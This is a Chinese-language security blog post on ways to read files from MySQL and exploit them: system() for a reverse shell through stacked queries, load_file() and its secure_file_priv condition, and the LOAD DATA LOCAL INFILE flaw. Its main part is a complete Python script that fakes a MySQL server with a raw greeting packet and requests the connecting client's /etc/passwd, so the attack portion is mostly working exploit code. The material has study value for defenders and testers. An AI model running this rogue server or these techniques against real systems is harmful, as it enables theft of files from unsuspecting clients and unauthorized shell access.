0%

关于mysql几种读取文件及利用的方式


1.system

可以反弹shell

可以通过堆叠查询使用,比较适合phpmyadmin,如果直接在有漏洞的页面注入会产生不可预料的错误(以php为例,一般会使用mysqli_fetch_array取查询出的条目,需要符合条件的条目)

windows下system似乎没有作用

2.load_file()
使用load_file()是要有条件的
1.在mysql下读写文件secure_file_priv的值不为NULL,这在mysql突破secure_file_priv写shell文章里有写
2.需要拥有所需文件的权限

然而在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,即默认无法写入写出,需要修改secure_file_priv

3.load data infile

关于load data infile,存在一个伪造服务端任意读取客户端文件的问题,这里参考了很多网上大牛的资料,还原一下这个漏洞。
远程连接Mysql的过程具体如下:
1.客户端发起tcp连接,服务器返回一个greeting,包含了服务器mysql版本等信息

2.login request

3.初始化查询

4.要进行load data local infile,这里有个坑,即使set global local_infile = ‘ON’ 后还是报错,所以只能登录时加–enable-local-infile参数,插入成功

5.服务端返回一个TABULAR请求,请求客户端的/etc/passwd 文件

6./etc/passwd 中的内容成功传到了服务端

这里可以伪造一个服务端,当客户端连接完成时发送一个TABULAR请求来任意读取客户端中有权限的文件信息
服务端的伪造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#https://www.cnblogs.com/apossin/p/10127496.html
#coding=utf-8
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00") #greeting包
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00") #reponse ok包
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename #长度+数据包序号(1)+读取文件名
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

读取成功

参考资料:
https://github.com/allyshka/Rogue-MySql-Server/blob/master
https://lightless.me/archives/read-mysql-client-file.html
https://www.cnblogs.com/apossin/p/10127496.html